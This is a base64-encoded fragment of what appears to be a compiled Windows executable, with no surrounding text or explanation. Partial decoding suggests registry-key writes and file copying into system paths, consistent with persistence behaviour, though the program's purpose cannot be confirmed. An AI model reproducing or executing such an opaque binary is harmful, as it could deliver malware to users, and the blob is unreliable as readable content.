AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIHsqAAAAI1E JBTHRCQECAAAAFDHRCQYlAAAAP8VQFBAAIXAD4SfAAAAi0QkGIP4A3cidQeDfCQcM3cZagBobGBA AGhkYEAA/xVEUEAAgcSoAAAAw41MJABRaBkAAgBqAGg0YEAAaAIAAID/FQhQQACFwHVUjVQkBFaN RCQQUotUJAiNTCQQUFFqAGhsYEAAUv8VBFBAAIvwi0QkBFD/FQBQQACF9l51II1MJAxoMGBAAFH/ FVBQQACFwHUMuAEAAACBxKgAAADDM8CBxKgAAADDkJCQkJCQkJCQkJCQkJCQVuga////hcB1Al7D izUoUEAAV2gAgAAA/9ZoKGFAAIv4/xUYUEAAV6PMZ0AA/9ahzGdAAF+FwHUCXsOLNTxQQABoHGFA AFD/1oXAo9BnQAB1Al7DocxnQABoEGFAAFD/1oXAo9RnQAB1Al7Diw3MZ0AAaABhQABR/9aFwKPY Z0AAdQJew4sVzGdAAGjsYEAAUv/WhcCj3GdAAHUCXsOhzGdAAGjcYEAAUP/WhcCj4GdAAHUCXsOL DcxnQABozGBAAFH/1oXAo+RnQAB1Al7DixXMZ0AAaLxgQABS/9aFwKPoZ0AAdQJew6HMZ0AAaKxg QABQ/9aFwKPsZ0AAdQJew4sNzGdAAGicYEAAUf/WhcCj8GdAAHUCXsOLFcxnQABokGBAAFL/1oXA o/RnQAB1Al7DocxnQABohGBAAFD/1oXAo/hnQAB1Al7Diw3MZ0AAaHRgQABR/9Yz0qP8Z0AAhcAP lcKLwl7DkJCQkJCQkJDoi/7//4XAdBVoDGhAAGoAagJqAGoAagD/FdBnQAAzwMOQkJCQkJCQkJCQ kJCQkJCLDQxoQACB7AQEAACNRCQEUGoAaABBAABqAGoAagBR/xXgZ0AAhcAPhZwBAABTix0gUEAA VYstHFBAAFZXiw0MaEAAjVQkEFJqAI1EJBxqAFBqAFH/FeRnQACFwA+FGAEAAItEJBCLSCCFyQ+G CQEAAIN4KAEPhf8AAABoBAEAAOiLCAAAi1QkFIPEBDP2i0okiUEIi1QkEItCHItIDFH/04PoBYXA fi2LRCQQRotQHItKDItQJItCCIpMMQSITDD/i1QkEItCHItIDFH/04PoBTvwfNOLVCQQaAQBAACL QiSLSAjGBDEA6CMIAACDxASL+GgEAQAAV2oA/9VoBAEAAOgKCAAAi1QkFIPEBItKLGoAagKJQQyD yf8zwItUJBjyrotSLPfRK/mLwYv3i3oMwekC86WLyDPAg+ED86SLTCQYvzRhQACLUSyDyf/yrvfR K/mLwYv3i3oQwekC86WLyIPhA/Oki0wkGIsVDGhAAFFqAFL/FdhnQACLRCQQUP8V8GdAAI1MJBSN lCQUAgAAUVL/FSxQQACLFQxoQACNRCQUUGoAjYwkHAIAAGgAQQAAUWoAagBS/xXgZ0AAhcAPhHj+ //9fXl1bgcQEBAAAw+j7/f//6Sb+//+QkJCQkJCD7FiLRCRci0wkYIsV8GZAAIlEJASLRCRoVot0 JGhXhcDHRCQIWAAAAIlMJBDHRCQUBwAAAIlUJBiJdCQcdBBqQFCNRCQoUP8VJFBAAOsFxkQkIACN TCQIUWoA/xXYUEAAhfaL+HQHVv8V4FBAAIvHX16DxFjDkJCQkJCQkJCQkKHEZ0AAaIMAAABQ/xXk UEAAiw34ZkAAaEBhQABQaIMAAABR6Fj///+DxBDDkJCQkFFWV41EJAhqAFBqAGgGAAIAagBqAGoA aHRhQABoAAAAgP8VEFBAAGgEAQAA6E8GAACDxASL8GgEAQAAVv8VSFBAAIs9TFBAAGhkYUAAVv/X aFhhQABW/9dW/xUgUEAAi0wkCFBWagFqAGgkaEAAUf8VDFBAAF9eWcOQkJCQkJCQUVaNRCQEagBQ agBoBgACAGoAagBqAGikYUAAaAIAAID/FRBQQABoBAEAAOjQBQAAg8QEi/BoBAEAAFb/FUhQQABo ZGFAAFb/FUxQQABW/xUgUEAAi0wkBFBWagFqAGiQYUAAUf8VDFBAAF5Zw5CQkFZXaAQBAADohAUA AGgEAQAA6HoFAABoBAEAAIv46G4FAACDxAyL8GgEAQAAV2oA/xUcUEAAaAQBAABW/xVIUEAAaNRh QABW/xVMUEAAagFWV/8VMFBAAF9ew5CQkJCQkIPsHFaLdCQkV4s9LFFAAGpkaGBnQABqZ1b/12pk aPxmQABqbVb/11bokwAAAItEJDhQVugYAQAAg8QMhcB1CF9eg8QcwhAAam1W/xUwUUAAiz00UUAA agBqAI1MJBBqAFGL8P/XhcB0RFOLHThRQABViy3wUEAAi0QkEI1UJBBSVlD/04XAdRKNTCQQUf/V jVQkEFL/FexQQABqAGoAjUQkGGoAUP/XhcB1zF1bi0QkEF9eg8QcwhAAkJCQkJCQkIPsMItEJDRW izXkUEAAaIIAAABQx0QkDDAAAADHRCQQAwAAAMdEJBTAGEAAx0QkGAAAAADHRCQcAAAAAIlEJCD/ 1mgAfwAAagCJRCQk/xUkUUAAiUQkIItEJBhoggAAAFDHRCQsBgAAAMdEJDAAAAAAx0QkNPxmQAD/ 1o1MJASJRCQwUf8VKFFAAF6DxDDDkItEJARqAFBqAGoAagBoAAAAgGoAaAAAAIBoAADPAGhgZ0AA aPxmQABqAKPEZ0AA/xUcUUAAhcB1AcNQo/hmQAD/FSBRQADolf3//+gA/v//6Av9///oRvz//6HE Z0AAaIMAAABQ/xXkUEAAiw34ZkAAaORhQABQaIMAAABR6C78//+DxBC4AQAAAMOQkJCQkIPsCFZq IOhFAwAAi3QkHItMJBSDxATHRCQIIAAAAIkGjUQkBFBqAWoAUWgBAACA/xUIUEAAhcB0EotUJARS /xUAUEAAM8Beg8QIw4sOi1QkFI1EJAhQi0QkCFFqAGoAUlD/FQRQQACLTCQEi/BR/xUAUEAAM8CF 9g+UwF6DxAjDgey8AAAAiw3EZ0AAjUQkWFNVVldqZFBqalH/FSxRQACLrCTcAAAAi7Qk0AAAAIH9 AQIAAHUkgbwk2AAAAIMAAAB1F4sVxGdAAGoAaBAbQABWamVS/xX0UEAAi7wk1AAAAIP/Dw+HMwEA AA+E1gAAAIvHSHQeSA+FLQEAAGoA/xX4UEAAX15dM8BbgcS8AAAAwhAAix38UEAAaChiQAD/02gg YkAAo/RmQAD/06PwZkAAjUQkFGoAUGoAaAYAAgBqAGoAagBoDGJAAGgBAACA/xUQUEAAjUwkEFFo BGJAAGgMYkAA6Jf+//+LVCQcg8QMaABiQABS/xU0UEAAhcB0EWoAagBo/GFAAGoA/xUAUUAAi4wk 2AAAAIvBJf//AACD6GgPhMIAAABID4SlAAAAVVFXVv8VBFFAAF9eXVuBxLwAAADCEACNRCQoUFb/ FQhRQACNTCQYi9hRVv8VDFFAAI18JGiDyf8zwI1UJBjyrvfRagFJUo1EJHBRUFP/FRBRQACNTCQo UVb/FRRRQABfXl0zwFuBxLwAAADCEACB/xEBAAAPhGj///87PfRmQAB1Behq+v//i5Qk2AAAAFVS V1b/FQRRQABfXl1bgcS8AAAAwhAAVv8VGFFAAF9eXTPAW4HEvAAAAMIQAKHEZ0AAagBo0BpAAFZq Z1D/FfRQQABfXl0zwFuBxLwAAADCEACQi0QkCC0QAQAAdClIdRCLRCQMZj0BAHQLZj0CAHQFM8DC EAAl//8AAFCLRCQIUP8V6FBAALgBAAAAwhAAkJCQkItEJAgtEAEAAHRoSHUyi0QkDD3oAwAAdSxo EBAAAGiMYkAAaExiQABqAP8VAFFAAGjoAwAAi0QkCFD/FehQQAAzwMIQAIP4AnX2agBojGJAAGg4 YkAAagD/FQBRQABqAotMJAhR/xXoUEAAagD/FThQQAC4AQAAAMIQAJCQkJCQagH/dCQI6FQBAABZ WcNVi+xq/2hAUUAAaEgnQABkoQAAAABQZIklAAAAAIPsWFNWV4ll6P8VoFBAADPSitSJFUxoQACL yIHh/wAAAIkNSGhAAMHhCAPKiQ1EaEAAwegQo0BoQAAz9lboFQoAAFmFwHUIahzosAAAAFmJdfzo VQgAAP8VVFBAAKNYbUAA6BMHAACjKGhAAOi8BAAA6P4DAADoGwEAAIl10I1FpFD/FVhQQADojwMA AIlFnPZF0AF0Bg+3RdTrA2oKWFD/dZxWVv8VvFBAAFDo9Pn//4lFoFDoCQEAAItF7IsIiwmJTZhQ UejNAQAAWVnDi2Xo/3WY6PsAAACDPTBoQAABdQXofgsAAP90JATorgsAAGj/AAAA/xWcYkAAWVnD gz0waEAAAXUF6FkLAAD/dCQE6IkLAABZaP8AAAD/FThQQADD/zWQaUAA/3QkCOgDAAAAWVnDg3wk BOB3Iv90JAToHAAAAIXAWXUWOUQkCHQQ/3QkBOiZDAAAhcBZdd4zwMNWi3QkCDs14GNAAHcLVugt EAAAhcBZdRyF9nUDagFeg8YPg+bwVmoA/zUgbEAA/xXMUEAAXsOhVG1AAIXAdAL/0GgQYEAAaAhg QADozgAAAGgEYEAAaABgQADovwAAAIPEEMNqAGoA/3QkDOgVAAAAg8QMw2oAagH/dCQM6AQAAACD xAzDV2oBXzk9fGhAAHUR/3QkCP8V0FBAAFD/FchQQACDfCQMAFOLXCQUiT14aEAAiB10aEAAdTyh UG1AAIXAdCKLDUxtQABWjXH8O/ByE4sGhcB0Av/Qg+4EOzVQbUAAc+1eaBhgQABoFGBAAOgqAAAA WVloIGBAAGgcYEAA6BkAAABZWYXbW3UQ/3QkCIk9fGhAAP8VOFBAAF/DVot0JAg7dCQMcw2LBoXA dAL/0IPGBOvtXsNVi+xT/3UI6DUBAACFwFkPhCABAACLWAiF2w+EFQEAAIP7BXUMg2AIAGoBWOkN AQAAg/sBD4T2AAAAiw2AaEAAiU0Ii00MiQ2AaEAAi0gEg/kID4XIAAAAiw0gY0AAixUkY0AAA9FW O8p9FY00SSvRjTS1sGJAAIMmAIPGDEp194sAizUsY0AAPY4AAMB1DMcFLGNAAIMAAADrcD2QAADA dQzHBSxjQACBAAAA6109kQAAwHUMxwUsY0AAhAAAAOtKPZMAAMB1DMcFLGNAAIUAAADrNz2NAADA dQzHBSxjQACCAAAA6yQ9jwAAwHUMxwUsY0AAhgAAAOsRPZIAAMB1CscFLGNAAIoAAAD/NSxjQABq CP/TWYk1LGNAAFle6wiDYAgAUf/TWYtFCKOAaEAAg8j/6wn/dQz/FcRQQABbXcOLVCQEiw0oY0AA ORWoYkAAVrioYkAAdBWNNEmNNLWoYkAAg8AMO8ZzBDkQdfWNDElejQyNqGJAADvBcwQ5EHQCM8DD gz1IbUAAAHUF6DEWAABWizVYbUAAigY8InUlikYBRjwidBWEwHQRD7bAUOgJEgAAhcBZdOZG6+OA PiJ1DUbrCjwgdgZGgD4gd/qKBoTAdAQ8IHbpi8Zew1Mz2zkdSG1AAFZXdQXo1RUAAIs1KGhAADP/ igY6w3QSPD10AUdW6AYXAABZjXQGAevojQS9BAAAAFDob/z//4vwWTvziTVcaEAAdQhqCegS/P// WYs9KGhAADgfdDlVV+jMFgAAi+hZRYA/PXQiVeg6/P//O8NZiQZ1CGoJ6OP7//9ZV/826LYVAABZ g8YEWQP9OB91yV3/NShoQADoYRUAAFmJHShoQACJHl9exwVEbUAAAQAAAFvDVYvsUVFTM9s5HUht QABWV3UF6BcVAAC+hGhAAGgEAQAAVlP/FRxQQAChWG1AAIk1bGhAAIv+OBh0Aov4jUX4UI1F/FBT U1foTQAAAItF+ItN/I0EiFDomvv//4vwg8QYO/N1CGoI6EH7//9ZjUX4UI1F/FCLRfyNBIZQVlfo FwAAAItF/IPEFEiJNVRoQABfXqNQaEAAW8nDVYvsi00Yi0UUU1aDIQCLdRBXi30MxwABAAAAi0UI hf90CIk3g8cEiX0MgDgidUSKUAFAgPoidCmE0nQlD7bS9oIBa0AABHQM/wGF9nQGihCIFkZA/wGF 9nTVihCIFkbrzv8BhfZ0BIAmAEaAOCJ1RkDrQ/8BhfZ0BYoQiBZGihBAD7ba9oMBa0AABHQM/wGF 9nQFihiIHkZAgPogdAmE0nQJgPoJdcyE0nUDSOsIhfZ0BIBm/wCDZRgAgDgAD4TgAAAAihCA+iB0 BYD6CXUDQOvxgDgAD4TIAAAAhf90CIk3g8cEiX0Mi1UU/wLHRQgBAAAAM9uAOFx1BEBD6/eAOCJ1 LPbDAXUlM/85fRh0DYB4ASKNUAF1BIvC6wOJfQiLfQwz0jlVGA+UwolVGNHri9NLhdJ0DkOF9nQE xgZcRv8BS3XzihCE0nRKg30YAHUKgPogdD+A+gl0OoN9CAB0LoX2dBkPttr2gwFrQAAEdAaIFkZA /wGKEIgWRusPD7bS9oIBa0AABHQDQP8B/wFA6Vj///+F9nQEgCYARv8B6Rf///+F/3QDgycAi0UU X15b/wBdw1FRoYhpQABTVYstpFBAAFZXM9sz9jP/O8N1M//Vi/A783QMxwWIaUAAAQAAAOso/xWo UEAAi/g7+w+E6gAAAMcFiGlAAAIAAADpjwAAAIP4AQ+FgQAAADvzdQz/1YvwO/MPhMIAAABmOR6L xnQOQEBmORh1+UBAZjkYdfIrxos9uFBAANH4U1NAU1NQVlNTiUQkNP/Xi+g763QyVegH+f//O8NZ iUQkEHQjU1NVUP90JCRWU1P/14XAdQ7/dCQQ6DkSAABZiVwkEItcJBBW/xWwUEAAi8PrU4P4AnVM O/t1DP8VqFBAAIv4O/t0PDgfi8d0CkA4GHX7QDgYdfYrx0CL6FXooPj//4vwWTvzdQQz9usLVVdW 6JATAACDxAxX/xW0UEAAi8brAjPAX15dW1lZw4PsRFNVVldoAAEAAOhl+P//i/BZhfZ1CGob6A74 //9ZiTVAbEAAxwVAbUAAIAAAAI2GAAEAADvwcxqAZgQAgw7/xkYFCqFAbEAAg8YIBQABAADr4o1E JBBQ/xVYUEAAZoN8JEIAD4TFAAAAi0QkRIXAD4S5AAAAizCNaAS4AAgAADvwjRwufAKL8Dk1QG1A AH1Sv0RsQABoAAEAAOjV9///hcBZdDiDBUBtQAAgiQeNiAABAAA7wXMYgGAEAIMI/8ZABQqLD4PA CIHBAAEAAOvkg8cEOTVAbUAAfLvrBos1QG1AADP/hfZ+RosDg/j/dDaKTQD2wQF0LvbBCHULUP8V mFBAAIXAdB6Lx4vPwfgFg+EfiwSFQGxAAI0EyIsLiQiKTQCISARHRYPDBDv+fLoz26FAbEAAgzzY /4002HVNhdvGRgSBdQVq9ljrCovDSPfYG8CDwPVQ/xXAUEAAi/iD//90F1f/FZhQQACFwHQMJf8A AACJPoP4AnUGgE4EQOsPg/gDdQqATgQI6wSATgSAQ4P7A3yb/zVAbUAA/xWsUEAAX15dW4PERMMz wGoAOUQkCGgAEAAAD5TAUP8VkFBAAIXAoyBsQAB0FeiQAwAAhcB1D/81IGxAAP8VlFBAADPAw2oB WMPMzFWL7FNWV1VqAGoAaGgmQAD/dQjokB0AAF1fXluL5V3Di0wkBPdBBAYAAAC4AQAAAHQPi0Qk CItUJBCJArgDAAAAw1NWV4tEJBBQav5ocCZAAGT/NQAAAABkiSUAAAAAi0QkIItYCItwDIP+/3Qu O3QkJHQojTR2iwyziUwkCIlIDIN8swQAdRJoAQEAAItEswjoQAAAAP9Uswjrw2SPBQAAAACDxAxf XlvDM8Bkiw0AAAAAgXkEcCZAAHUQi1EMi1IMOVEIdQW4AQAAAMNTUbs8Y0AA6wpTUbs8Y0AAi00I iUsIiUMEiWsMWVvCBADMzFZDMjBYQzAwVYvsg+wIU1ZXVfyLXQyLRQj3QAQGAAAAD4WCAAAAiUX4 i0UQiUX8jUX4iUP8i3MMi3sIg/7/dGGNDHaDfI8EAHRFVlWNaxD/VI8EXV6LXQwLwHQzeDyLewhT 6Kn+//+DxASNaxBWU+je/v//g8QIjQx2agGLRI8I6GH///+LBI+JQwz/VI8Ii3sIjQx2izSP66G4 AAAAAOscuAEAAADrFVWNaxBq/1Ponv7//4PECF24AQAAAF1fXluL5V3DVYtMJAiLKYtBHFCLQRhQ 6Hn+//+DxAhdwgQAoTBoQACD+AF0DYXAdSqDPaBiQAABdSFo/AAAAOgYAAAAoYxpQABZhcB0Av/Q aP8AAADoAgAAAFnDVYvsgeykAQAAi1UIM8m4UGNAADsQdAuDwAhBPeBjQAB88VaL8cHmAzuWUGNA AA+FHAEAAKEwaEAAg/gBD4ToAAAAhcB1DYM9oGJAAAEPhNcAAACB+vwAAAAPhPEAAACNhVz+//9o BAEAAFBqAP8VHFBAAIXAdRONhVz+//9oJFRAAFDojw0AAFlZjYVc/v//V1CNvVz+///oag4AAEBZ g/g8dimNhVz+//9Q6FcOAACL+I2FXP7//4PoO2oDA/hoIFRAAFfofRIAAIPEEI2FYP///2gEVEAA UOg5DQAAjYVg////V1DoPA0AAI2FYP///2gAVEAAUOgrDQAA/7ZUY0AAjYVg////UOgZDQAAaBAg AQCNhWD///9o2FNAAFDomBEAAIPELF/rJo1FCI22VGNAAGoAUP826MoNAABZUP82avT/FcBQQABQ /xWAUEAAXsnDoZRpQACFwHQP/3QkBP/QhcBZdARqAVjDM8DDaEABAABqAP81IGxAAP8VzFBAAIXA oxxsQAB1AcODJRRsQAAAgyUYbEAAAGoBoxBsQADHBQhsQAAQAAAAWMOhGGxAAI0MgKEcbEAAjQyI O8FzFItUJAQrUAyB+gAAEAByB4PAFOvoM8DDVYvsg+wUi1UMi00IU1aLQRCL8itxDIta/IPC/FfB 7g+Lzot6/GnJBAIAAEuJffyNjAFEAQAAiV30iU3wiwwT9sEBiU34dX/B+QRqP0lfiU0MO892A4l9 DItMEwQ7TBMIdUiLTQyD+SBzHL8AAACA0++NTAEE99chfLBE/gl1K4tNCCE56ySDweC/AAAAgNPv i00MjUwBBPfXIbywxAAAAP4JdQaLTQgheQSLTBMIi3wTBIl5BItMEwSLfBMIA134iXkIiV30i/vB /wRPg/8/dgNqP1+LTfyD4QGJTewPhaAAAAArVfyLTfzB+QRqP4lV+ElaO8qJTQx2BYlVDIvKA138 i/uJXfTB/wRPO/p2Aov6O890a4tN+ItRBDtRCHVIi00Mg/kgcxy6AAAAgNPqjUwBBPfSIVSwRP4J dSuLTQghEeskg8HgugAAAIDT6otNDI1MAQT30iGUsMQAAAD+CXUGi00IIVEEi034i1EIi0kEiUoE i034i1EEi0kIiUoIi1X4g33sAHUJOX0MD4SJAAAAi03wjQz5i0kEiUoEi03wjQz5iUoIiVEEi0oE iVEIi0oEO0oIdWOKTAcEg/8giE0P/sGITAcEcyWAfQ8AdQ67AAAAgIvP0+uLTQgJGbsAAACAi8/T 641EsEQJGOspgH0PAHUQjU/guwAAAIDT64tNCAlZBI1P4L8AAACA0++NhLDEAAAACTiLXfSLRfCJ GolcE/z/CA+F+gAAAKEUbEAAhcAPhN8AAACLDQxsQACLPYxQQADB4Q8DSAy7AIAAAGgAQAAAU1H/ 14sNDGxAAKEUbEAAugAAAIDT6glQCKEUbEAAiw0MbEAAi0AQg6SIxAAAAAChFGxAAItAEP5IQ6EU bEAAi0gQgHlDAHUJg2AE/qEUbEAAg3gI/3VsU2oA/3AM/9ehFGxAAP9wEGoA/zUgbEAA/xWIUEAA oRhsQACLFRxsQACNBIDB4AKLyKEUbEAAK8iNTBHsUY1IFFFQ6H0PAACLRQiDxAz/DRhsQAA7BRRs QAB2A4PoFIsNHGxAAIkNEGxAAOsDi0UIoxRsQACJNQxsQABfXlvJw1WL7IPsFKEYbEAAixUcbEAA U1aNBIBXjTyCi0UIiX38jUgXg+HwiU3wwfkESYP5IH0Og87/0+6DTfj/iXX06xCDweCDyP8z9tPo iXX0iUX4oRBsQACL2DvfiV0IcxmLSwSLOyNN+CP+C891C4PDFDtd/IldCHLnO138dXmL2jvYiV0I cxWLSwSLOyNN+CP+C891BYPDFOvmO9h1WTtd/HMRg3sIAHUIg8MUiV0I6+07Xfx1JovaO9iJXQhz DYN7CAB1BYPDFOvuO9h1Dug4AgAAi9iF24ldCHQUU+jaAgAAWYtLEIkBi0MQgzj/dQczwOkPAgAA iR0QbEAAi0MQixCD+v+JVfx0FIuMkMQAAACLfJBEI034I/4Lz3U3i5DEAAAAi3BEI1X4I3X0g2X8 AI1IRAvWi3X0dReLkYQAAAD/RfwjVfiDwQSL/iM5C9d06YtV/IvKM/9pyQQCAACNjAFEAQAAiU30 i0yQRCPOdQ2LjJDEAAAAaiAjTfhfhcl8BdHhR+v3i030i1T5BIsKK03wi/GJTfjB/gROg/4/fgNq P1479w+EDQEAAItKBDtKCHVhg/8gfSu7AAAAgIvP0+uLTfyNfDgE99OJXewjXIhEiVyIRP4PdTiL XQiLTewhC+sxjU/guwAAAIDT64tN/I18OASNjIjEAAAA99MhGf4PiV3sdQuLXQiLTewhSwTrA4td CItKCIt6BIN9+ACJeQSLSgSLegiJeQgPhJQAAACLTfSLfPEEjQzxiXoEiUoIiVEEi0oEiVEIi0oE O0oIdWSKTAYEg/4giE0LfSn+wYB9CwCITAYEdQu/AAAAgIvO0+8JO78AAACAi87T74tN/Al8iETr L/7BgH0LAIhMBgR1DY1O4L8AAACA0+8JewSLTfyNvIjEAAAAjU7gvgAAAIDT7gk3i034hcl0C4kK iUwR/OsDi034i3XwA9GNTgGJColMMvyLdfSLDoXJjXkBiT51GjsdFGxAAHUSi038Ow0MbEAAdQeD JRRsQAAAi038iQiNQgRfXlvJw6EYbEAAiw0IbEAAVlcz/zvBdTCNRIlQweACUP81HGxAAFf/NSBs QAD/FXhQQAA7x3RhgwUIbEAAEKMcbEAAoRhsQACLDRxsQABoxEEAAGoIjQSA/zUgbEAAjTSB/xXM UEAAO8eJRhB0KmoEaAAgAABoAAAQAFf/FXxQQAA7x4lGDHUU/3YQV/81IGxAAP8ViFBAADPA6xeD Tgj/iT6JfgT/BRhsQACLRhCDCP+Lxl9ew1WL7FGLTQhTVleLcRCLQQgz24XAfAXR4EPr94vDaj9p wAQCAABajYQwRAEAAIlF/IlACIlABIPACEp19Iv7agTB5w8DeQxoABAAAGgAgAAAV/8VfFBAAIXA dQiDyP/pkwAAAI2XAHAAADv6dzyNRxCDSPj/g4jsDwAA/42I/A8AAMdA/PAPAACJCI2I/O///4lI BMeA6A8AAPAPAAAFABAAAI1I8DvKdseLRfyNTwwF+AEAAGoBX4lIBIlBCI1KDIlICIlBBINknkQA ibyexAAAAIpGQ4rI/sGEwItFCIhOQ3UDCXgEugAAAICLy9Pq99IhUAiLw19eW8nDagRqAP90JAzo BAAAAIPEDMMPtkQkBIpMJAyEiAFrQAB1HIN8JAgAdA4PtwRF6mRAACNEJAjrAjPAhcB1AcNqAVjD VYvsg+wYU1ZX/3UI6IgBAACL8Fk7NdBpQACJdQgPhGoBAAAz2zvzD4RWAQAAM9K48GNAADkwdHKD wDBCPeBkQAB88Y1F6FBW/xV0UEAAg/gBD4UkAQAAakAzwFm/AGtAAIN96AGJNdBpQADzq6qJHQRs QAAPhu8AAACAfe4AD4S7AAAAjU3vihGE0g+ErgAAAA+2Qf8PttI7wg+HkwAAAICIAWtAAARA6+5q QDPAWb8Aa0AA86uNNFKJXfzB5gSqjZ4AZEAAgDsAi8t0LIpRAYTSdCUPtgEPtvo7x3cUi1X8ipLo Y0AACJABa0AAQDvHdvVBQYA5AHXU/0X8g8MIg338BHLBi0UIxwXsaUAAAQAAAFCj0GlAAOjGAAAA jbb0Y0AAv+BpQAClpVmjBGxAAKXrVUFBgHn/AA+FSP///2oBWICIAWtAAAhAPf8AAABy8VbojAAA AFmjBGxAAMcF7GlAAAEAAADrBokd7GlAADPAv+BpQACrq6vrDTkdmGlAAHQO6I4AAADosgAAADPA 6wODyP9fXlvJw4tEJASDJZhpQAAAg/j+dRDHBZhpQAABAAAA/yVsUEAAg/j9dRDHBZhpQAABAAAA /yVwUEAAg/j8dQ+hwGlAAMcFmGlAAAEAAADDi0QkBC2kAwAAdCKD6AR0F4PoDXQMSHQDM8DDuAQE AADDuBIEAADDuAQIAADDuBEEAADDV2pAWTPAvwBrQADzq6ozwL/gaUAAo9BpQACj7GlAAKMEbEAA q6urX8NVi+yB7BQFAACNRexWUP810GlAAP8VdFBAAIP4AQ+FFgEAADPAvgABAACIhAXs/v//QDvG cvSKRfLGhez+//8ghMB0N1NXjVXzD7YKD7bAO8F3HSvIjbwF7P7//0G4ICAgIIvZwekC86uLy4Ph A/OqQkKKQv+EwHXQX1tqAI2F7Pr///81BGxAAP810GlAAFCNhez+//9WUGoB6PQMAABqAI2F7P3/ //810GlAAFZQjYXs/v//VlBW/zUEbEAA6IEKAABqAI2F7Pz///810GlAAFZQjYXs/v//VlBoAAIA AP81BGxAAOhZCgAAg8RcM8CNjez6//9mixH2wgF0FoCIAWtAABCKlAXs/f//iJAAakAA6xz2wgJ0 EICIAWtAACCKlAXs/P//6+OAoABqQAAAQEFBO8Zyv+tJM8C+AAEAAIP4QXIZg/hadxSAiAFrQAAQ isiAwSCIiABqQADrH4P4YXITg/h6dw6AiAFrQAAgisiA6SDr4ICgAGpAAABAO8Zyvl7Jw4M9SG1A AAB1Emr96Cz8//9ZxwVIbUAAAQAAAMNWi3QkCIX2dCRW6MTz//9ZhcBWdApQ6OPz//9ZWV7DagD/ NSBsQAD/FYhQQABew8zMzMzMzMzMzMzMzMzMzFeLfCQI62qNpCQAAAAAi/+LTCQEV/fBAwAAAHQP igFBhMB0O/fBAwAAAHXxiwG6//7+fgPQg/D/M8KDwQSpAAEBgXToi0H8hMB0I4TkdBqpAAD/AHQO qQAAAP90AuvNjXn/6w2Nef7rCI15/esDjXn8i0wkDPfBAwAAAHQZihFBhNJ0ZIgXR/fBAwAAAHXu 6wWJF4PHBLr//v5+iwED0IPw/zPCixGDwQSpAAEBgXThhNJ0NIT2dCf3wgAA/wB0EvfCAAAA/3QC 